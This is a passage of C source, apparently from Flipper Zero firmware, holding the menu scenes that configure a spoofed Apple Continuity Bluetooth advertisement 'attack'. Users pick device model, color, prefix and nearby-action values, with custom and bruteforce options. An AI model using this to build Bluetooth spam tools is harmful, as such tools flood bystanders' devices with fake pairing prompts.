  747. ContinuityCfg* cfg = &payload->cfg.continuity;
  748. Submenu* submenu = ctx->submenu;
  749. uint32_t selected = 0;
  750. submenu_reset(submenu);
  751. bool value = payload->mode == PayloadModeValue ||
  752. (payload->mode == PayloadModeBruteforce &&
  753. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel);
  754. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  755. if(payload->mode == PayloadModeRandom) {
  756. selected = 0;
  757. }
  758. bool found = false;
  759. for(uint8_t i = 0; i < pp_models_count; i++) {
  760. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  761. if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) {
  762. found = true;
  763. selected = i + 1;
  764. }
  765. }
  766. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  767. if(!found && value) {
  768. selected = pp_models_count + 1;
  769. }
  770. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  771. if(!value && payload->mode == PayloadModeBruteforce) {
  772. selected = pp_models_count + 2;
  773. }
  774. submenu_set_selected_item(submenu, selected);
  775. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  776. }
  777. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  778. UNUSED(_ctx);
  779. UNUSED(event);
  780. return false;
  781. }
  782. void scene_continuity_pp_model_on_exit(void* _ctx) {
  783. UNUSED(_ctx);
  784. }
  785. static void pp_model_custom_callback(void* _ctx) {
  786. Ctx* ctx = _ctx;
  787. Payload* payload = &ctx->attack->payload;
  788. ContinuityCfg* cfg = &payload->cfg.continuity;
  789. if(payload->mode != PayloadModeBruteforce ||
  790. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  791. payload->mode = PayloadModeValue;
  792. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  793. scene_manager_previous_scene(ctx->scene_manager);
  794. scene_manager_previous_scene(ctx->scene_manager);
  795. }
  796. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  797. Ctx* ctx = _ctx;
  798. Payload* payload = &ctx->attack->payload;
  799. ContinuityCfg* cfg = &payload->cfg.continuity;
  800. ByteInput* byte_input = ctx->byte_input;
  801. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  802. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  803. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  804. byte_input_set_result_callback(
  805. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  806. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  807. }
  808. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  809. UNUSED(_ctx);
  810. UNUSED(event);
  811. return false;
  812. }
  813. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  814. UNUSED(_ctx);
  815. }
  816. static void pp_color_callback(void* _ctx, uint32_t index) {
  817. Ctx* ctx = _ctx;
  818. Payload* payload = &ctx->attack->payload;
  819. ContinuityCfg* cfg = &payload->cfg.continuity;
  820. uint8_t model_index = 0;
  821. uint8_t colors_count = 0;
  822. if(payload->mode == PayloadModeValue ||
  823. (payload->mode == PayloadModeBruteforce &&
  824. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  825. for(; model_index < pp_models_count; model_index++) {
  826. if(cfg->data.proximity_pair.model == pp_models[model_index].value) {
  827. colors_count = pp_models[model_index].colors_count;
  828. break;
  829. }
  830. }
  831. }
  832. if(index == colors_count) {
  833. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom);
  834. } else if(index == colors_count + 1U) {
  835. payload->mode = PayloadModeBruteforce;
  836. payload->bruteforce.counter = 0;
  837. payload->bruteforce.value = cfg->data.proximity_pair.color;
  838. payload->bruteforce.size = 1;
  839. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor;
  840. scene_manager_previous_scene(ctx->scene_manager);
  841. } else {
  842. if(payload->mode != PayloadModeBruteforce ||
  843. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  844. payload->mode = PayloadModeValue;
  845. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  846. scene_manager_previous_scene(ctx->scene_manager);
  847. }
  848. }
  849. void scene_continuity_pp_color_on_enter(void* _ctx) {
  850. Ctx* ctx = _ctx;
  851. Payload* payload = &ctx->attack->payload;
  852. ContinuityCfg* cfg = &payload->cfg.continuity;
  853. Submenu* submenu = ctx->submenu;
  854. uint32_t selected = 0;
  855. submenu_reset(submenu);
  856. bool value = payload->mode == PayloadModeValue ||
  857. (payload->mode == PayloadModeBruteforce &&
  858. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor);
  859. bool found = false;
  860. uint8_t colors_count = 0;
  861. if(payload->mode == PayloadModeValue ||
  862. (payload->mode == PayloadModeBruteforce &&
  863. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  864. for(uint8_t i = 0; i < pp_models_count; i++) {
  865. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  866. colors_count = pp_models[i].colors_count;
  867. for(uint8_t j = 0; j < colors_count; j++) {
  868. submenu_add_item(
  869. submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx);
  870. if(!found && value &&
  871. cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  872. found = true;
  873. selected = j;
  874. }
  875. }
  876. break;
  877. }
  878. }
  879. }
  880. submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx);
  881. if(!found && value) {
  882. selected = colors_count;
  883. }
  884. submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx);
  885. if(!value && payload->mode == PayloadModeBruteforce) {
  886. selected = colors_count + 1;
  887. }
  888. submenu_set_selected_item(submenu, selected);
  889. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  890. }
  891. bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) {
  892. UNUSED(_ctx);
  893. UNUSED(event);
  894. return false;
  895. }
  896. void scene_continuity_pp_color_on_exit(void* _ctx) {
  897. UNUSED(_ctx);
  898. }
  899. static void pp_color_custom_callback(void* _ctx) {
  900. Ctx* ctx = _ctx;
  901. Payload* payload = &ctx->attack->payload;
  902. ContinuityCfg* cfg = &payload->cfg.continuity;
  903. if(payload->mode != PayloadModeBruteforce ||
  904. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  905. payload->mode = PayloadModeValue;
  906. cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00);
  907. scene_manager_previous_scene(ctx->scene_manager);
  908. scene_manager_previous_scene(ctx->scene_manager);
  909. }
  910. void scene_continuity_pp_color_custom_on_enter(void* _ctx) {
  911. Ctx* ctx = _ctx;
  912. Payload* payload = &ctx->attack->payload;
  913. ContinuityCfg* cfg = &payload->cfg.continuity;
  914. ByteInput* byte_input = ctx->byte_input;
  915. byte_input_set_header_text(byte_input, "Enter custom Device Color");
  916. ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF;
  917. byte_input_set_result_callback(
  918. byte_input, pp_color_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  919. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  920. }
  921. bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) {
  922. UNUSED(_ctx);
  923. UNUSED(event);
  924. return false;
  925. }
  926. void scene_continuity_pp_color_custom_on_exit(void* _ctx) {
  927. UNUSED(_ctx);
  928. }
  929. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  930. Ctx* ctx = _ctx;
  931. Payload* payload = &ctx->attack->payload;
  932. ContinuityCfg* cfg = &payload->cfg.continuity;
  933. switch(index) {
  934. case 0:
  935. cfg->data.proximity_pair.prefix = 0x00;
  936. scene_manager_previous_scene(ctx->scene_manager);
  937. break;
  938. case pp_prefixes_count + 1:
  939. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  940. break;
  941. default:
  942. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  943. scene_manager_previous_scene(ctx->scene_manager);
  944. break;
  945. }
  946. }
  947. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  948. Ctx* ctx = _ctx;
  949. Payload* payload = &ctx->attack->payload;
  950. ContinuityCfg* cfg = &payload->cfg.continuity;
  951. Submenu* submenu = ctx->submenu;
  952. uint32_t selected = 0;
  953. bool found = false;
  954. submenu_reset(submenu);
  955. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  956. if(cfg->data.proximity_pair.prefix == 0x00) {
  957. found = true;
  958. selected = 0;
  959. }
  960. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  961. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  962. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  963. found = true;
  964. selected = i + 1;
  965. }
  966. }
  967. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  968. if(!found) {
  969. selected = pp_prefixes_count + 1;
  970. }
  971. submenu_set_selected_item(submenu, selected);
  972. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  973. }
  974. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  975. UNUSED(_ctx);
  976. UNUSED(event);
  977. return false;
  978. }
  979. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  980. UNUSED(_ctx);
  981. }
  982. static void pp_prefix_custom_callback(void* _ctx) {
  983. Ctx* ctx = _ctx;
  984. Payload* payload = &ctx->attack->payload;
  985. ContinuityCfg* cfg = &payload->cfg.continuity;
  986. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  987. scene_manager_previous_scene(ctx->scene_manager);
  988. scene_manager_previous_scene(ctx->scene_manager);
  989. }
  990. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  991. Ctx* ctx = _ctx;
  992. Payload* payload = &ctx->attack->payload;
  993. ContinuityCfg* cfg = &payload->cfg.continuity;
  994. ByteInput* byte_input = ctx->byte_input;
  995. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  996. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  997. byte_input_set_result_callback(
  998. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  999. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1000. }
  1001. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1002. UNUSED(_ctx);
  1003. UNUSED(event);
  1004. return false;
  1005. }
  1006. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  1007. UNUSED(_ctx);
  1008. }
  1009. static void na_action_callback(void* _ctx, uint32_t index) {
  1010. Ctx* ctx = _ctx;
  1011. Payload* payload = &ctx->attack->payload;
  1012. ContinuityCfg* cfg = &payload->cfg.continuity;
  1013. switch(index) {
  1014. case 0:
  1015. payload->mode = PayloadModeRandom;
  1016. scene_manager_previous_scene(ctx->scene_manager);
  1017. break;
  1018. case na_actions_count + 1:
  1019. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  1020. break;
  1021. case na_actions_count + 2:
  1022. payload->mode = PayloadModeBruteforce;
  1023. payload->bruteforce.counter = 0;
  1024. payload->bruteforce.value = cfg->data.nearby_action.action;
  1025. payload->bruteforce.size = 1;
  1026. scene_manager_previous_scene(ctx->scene_manager);
  1027. break;
  1028. default:
  1029. payload->mode = PayloadModeValue;
  1030. cfg->data.nearby_action.action = na_actions[index - 1].value;
  1031. scene_manager_previous_scene(ctx->scene_manager);
  1032. break;
  1033. }
  1034. }
  1035. void scene_continuity_na_action_on_enter(void* _ctx) {
  1036. Ctx* ctx = _ctx;
  1037. Payload* payload = &ctx->attack->payload;
  1038. ContinuityCfg* cfg = &payload->cfg.continuity;
  1039. Submenu* submenu = ctx->submenu;
  1040. uint32_t selected = 0;
  1041. submenu_reset(submenu);
  1042. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  1043. if(payload->mode == PayloadModeRandom) {
  1044. selected = 0;
  1045. }
  1046. bool found = false;
  1047. for(uint8_t i = 0; i < na_actions_count; i++) {
  1048. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  1049. if(!found && payload->mode == PayloadModeValue &&
  1050. cfg->data.nearby_action.action == na_actions[i].value) {
  1051. found = true;
  1052. selected = i + 1;
  1053. }
  1054. }
  1055. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  1056. if(!found && payload->mode == PayloadModeValue) {
  1057. selected = na_actions_count + 1;
  1058. }
  1059. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  1060. if(payload->mode == PayloadModeBruteforce) {
  1061. selected = na_actions_count + 2;
  1062. }
  1063. submenu_set_selected_item(submenu, selected);
  1064. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1065. }
  1066. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  1067. UNUSED(_ctx);
  1068. UNUSED(event);
  1069. return false;
  1070. }
  1071. void scene_continuity_na_action_on_exit(void* _ctx) {
  1072. UNUSED(_ctx);
  1073. }
  1074. static void na_action_custom_callback(void* _ctx) {
  1075. Ctx* ctx = _ctx;
  1076. Payload* payload = &ctx->attack->payload;
  1077. ContinuityCfg* cfg = &payload->cfg.continuity;
  1078. payload->mode = PayloadModeValue;
  1079. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  1080. scene_manager_previous_scene(ctx->scene_manager);
  1081. scene_manager_previous_scene(ctx->scene_manager);
  1082. }
  1083. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  1084. Ctx* ctx = _ctx;
  1085. Payload* payload = &ctx->attack->payload;
  1086. ContinuityCfg* cfg = &payload->cfg.continuity;
  1087. ByteInput* byte_input = ctx->byte_input;
  1088. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  1089. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  1090. byte_input_set_result_callback(
  1091. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1092. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1093. }
  1094. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1095. UNUSED(_ctx);
  1096. UNUSED(event);
  1097. return false;
  1098. }
  1099. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  1100. UNUSED(_ctx);
  1101. }
  1102. static void na_flags_callback(void* _ctx) {
  1103. Ctx* ctx = _ctx;
  1104. scene_manager_previous_scene(ctx->scene_manager);
  1105. }
  1106. void scene_continuity_na_flags_on_enter(void* _ctx) {
  1107. Ctx* ctx = _ctx;
  1108. Payload* payload = &ctx->attack->payload;
  1109. ContinuityCfg* cfg = &payload->cfg.continuity;
  1110. ByteInput* byte_input = ctx->byte_input;
  1111. byte_input_set_header_text(byte_input, "Press back for automatic");
  1112. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  1113. byte_input_set_result_callback(
  1114. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1115. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1116. }
  1117. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  1118. Ctx* ctx = _ctx;
  1119. if(event.type == SceneManagerEventTypeBack) {
  1120. ctx->byte_store[0] = 0x00;
  1121. }
  1122. return false;
  1123. }
  1124. void scene_continuity_na_flags_on_exit(void* _ctx) {
  1125. Ctx* ctx = _ctx;
  1126. Payload* payload = &ctx->attack->payload;
  1127. ContinuityCfg* cfg = &payload->cfg.continuity;
  1128. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  1129. }